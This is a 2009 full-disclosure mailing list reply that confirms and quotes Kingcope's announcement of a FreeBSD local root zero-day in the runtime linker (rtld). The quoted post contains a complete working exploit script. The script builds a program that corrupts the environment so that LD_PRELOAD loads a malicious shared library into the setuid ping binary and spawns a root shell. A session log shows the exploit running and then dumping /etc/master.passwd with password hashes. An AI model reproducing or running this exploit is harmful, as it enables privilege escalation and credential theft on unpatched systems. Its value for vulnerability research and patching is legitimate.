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Message-Id: <93A96D40-F243-4D46-8909-9731A91E02B5@onet.eu>
Date: Tue, 1 Dec 2009 16:59:14 +0000
From: Dawid Golunski <golunski@...t.eu>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: ** FreeBSD local r00t zeroday

Confirmed on FreeBSD 7.2-RELEASE (GENERIC).

Dawid

On 30 Nov 2009, at 22:12, Kingcope wrote:

> ** FreeBSD local r00t 0day
> Discovered & Exploited by Nikolaos Rangos also known as Kingcope.
> Nov 2009 "BiG TiME"
>
> "Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg
>
> There is an unbelievable simple local r00t bug in recent FreeBSD  
> versions.
> I audited FreeBSD for local r00t bugs a long time *sigh*. Now it  
> pays out.
>
> The bug resides in the Run-Time Link-Editor (rtld).
> Normally rtld does not allow dangerous environment variables like  
> LD_PRELOAD
> to be set when executing setugid binaries like "ping" or "su".
> With a rather simple technique rtld can be tricked into
> accepting LD variables even on setugid binaries.
> See the attached exploit for details.
>
> Example exploiting session
> **********************************
> %uname -a;id;
> FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
> 15:48:17 UTC 2009
> root@...eida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
> uid=1001(kcope) gid=1001(users) groups=1001(users)
> %./w00t.sh
> FreeBSD local r00t zeroday
> by Kingcope
> November 2009
> env.c: In function 'main':
> env.c:5: warning: incompatible implicit declaration of built-in
> function 'malloc'
> env.c:9: warning: incompatible implicit declaration of built-in
> function 'strcpy'
> env.c:11: warning: incompatible implicit declaration of built-in
> function 'execl'
> /libexec/ld-elf.so.1: environment corrupt; missing value for
> /libexec/ld-elf.so.1: environment corrupt; missing value for
> /libexec/ld-elf.so.1: environment corrupt; missing value for
> /libexec/ld-elf.so.1: environment corrupt; missing value for
> /libexec/ld-elf.so.1: environment corrupt; missing value for
> /libexec/ld-elf.so.1: environment corrupt; missing value for
> ALEX-ALEX
> # uname -a;id;
> FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
> 15:48:17 UTC 2009
> root@...eida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
> uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)
> # cat /etc/master.passwd
> # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29
> kensmith Exp $
> #
> root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/ 
> bin/csh
> toor:*:0:0::0:0:Bourne-again Superuser:/root:
> daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/ 
> nologin
> operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
> bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
> tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
> kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
> games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
> news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
> man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
> sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
> smmsp:*:25:25::0:0:Sendmail Submission
> User:/var/spool/clientmqueue:/usr/sbin/nologin
> mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/ 
> sbin/nologin
> bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
> proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/ 
> nologin
> _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
> _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
> uucp:*:66:66::0:0:UUCP
> pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
> pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
> www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
> nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/ 
> nologin
> kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User
> &:/home/kcope:/bin/sh
> #
>
> Systems tested/affected
> **********************************
> FreeBSD 8.0-RELEASE *** VULNERABLE
> FreeBSD 7.1-RELEASE *** VULNERABLE
> FreeBSD 6.3-RELEASE *** NOT VULN
> FreeBSD 4.9-RELEASE *** NOT VULN
>
> *EXPLOIT*
>
> #!/bin/sh
> echo ** FreeBSD local r00t zeroday
> echo by Kingcope
> echo November 2009
> cat > env.c << _EOF
> #include <stdio.h>
>
> main() {
>        extern char **environ;
>        environ = (char**)malloc(8096);
>
>        environ[0] = (char*)malloc(1024);
>        environ[1] = (char*)malloc(1024);
>        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
>
>        execl("/sbin/ping", "ping", 0);
> }
> _EOF
> gcc env.c -o env
> cat > program.c << _EOF
> #include <unistd.h>
> #include <stdio.h>
> #include <sys/types.h>
> #include <stdlib.h>
>
> void _init() {
>        extern char **environ;
>        environ=NULL;
>        system("echo ALEX-ALEX;/bin/sh");
> }
> _EOF
> gcc -o program.o -c program.c -fPIC
> gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o - 
> nostartfiles
> cp w00t.so.1.0 /tmp/w00t.so.1.0
> ./env
>
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